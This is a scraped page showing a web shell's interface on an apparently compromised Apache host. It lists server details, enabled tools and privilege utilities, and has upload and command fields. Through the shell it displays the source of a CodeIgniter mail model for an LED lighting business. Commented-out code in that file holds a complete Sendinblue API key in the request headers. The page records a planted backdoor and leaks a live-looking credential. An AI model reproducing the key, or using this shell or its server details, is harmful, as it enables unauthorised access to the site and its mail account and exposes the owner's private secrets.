403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ikioworld/www/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ikioworld/www/application/models/Mailmodel.php
<?php 
class Mailmodel extends CI_Model {

    function __construct(){
        parent::__construct();
    }
    
    public function sendMail( $subject, $to_mail, $to_name, $message ){
//         $data = array(
// 			"sender" => array(
// 				"email" => 'noreply@ikioledlighting.com',
// 				"name" => 'Ikio Led Lighting'         
// 			),
// 			"to" => array(
// 				array(
// 					"email" => $to_mail,
// 					"name" => $to_name
// 				)
		
// 			),
// 			"subject" => $subject,
// 			"htmlContent" => $message
		
// 		);
		
// 		$ch = curl_init();
		
// 		curl_setopt($ch, CURLOPT_URL, 'https://api.sendinblue.com/v3/smtp/email');
// 		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 		curl_setopt($ch, CURLOPT_POST, 1);
// 		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
		
// 		$headers = array();
// 		$headers[] = 'Accept: application/json';
// 		$headers[] = 'Api-Key: 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';
// 		$headers[] = 'Content-Type: application/json';
// 		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		
// 		$result = curl_exec($ch);
// 		if (curl_errno($ch)) {
// 			echo 'Error:' . curl_error($ch);
// 		}
// 		curl_close($ch);
    } 
    
    public function sendMultipleMail( $subject, $to_mail_1, $to_name_1, $to_mail_2, $to_name_2, $message ){
// 		$data = array(
// 			"sender" => array(
// 				"email" => 'noreply@ikioledlighting.com',
// 				"name" => 'Ikio Led Lighting'           
// 			),
// 			"to" => array(
// 				array(
// 					"email" => $to_mail_1,
// 					"name" => $to_name_1
// 				),
// 				array(
// 					"email" => $to_mail_2,
// 					"name" => $to_name_2
// 				)
		
// 			),
// 			"subject" => $subject,
// 			"htmlContent" => $message
		
// 		);
		
// 		$ch = curl_init();
		
// 		curl_setopt($ch, CURLOPT_URL, 'https://api.sendinblue.com/v3/smtp/email');
// 		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 		curl_setopt($ch, CURLOPT_POST, 1);
// 		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
		
// 		$headers = array();
// 		$headers[] = 'Accept: application/json';
// 		$headers[] = 'Api-Key: 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';
// 		$headers[] = 'Content-Type: application/json';
// 		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		
// 		$result = curl_exec($ch);
// 		if (curl_errno($ch)) {
// 			echo 'Error:' . curl_error($ch);
// 		}
// 		curl_close($ch);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit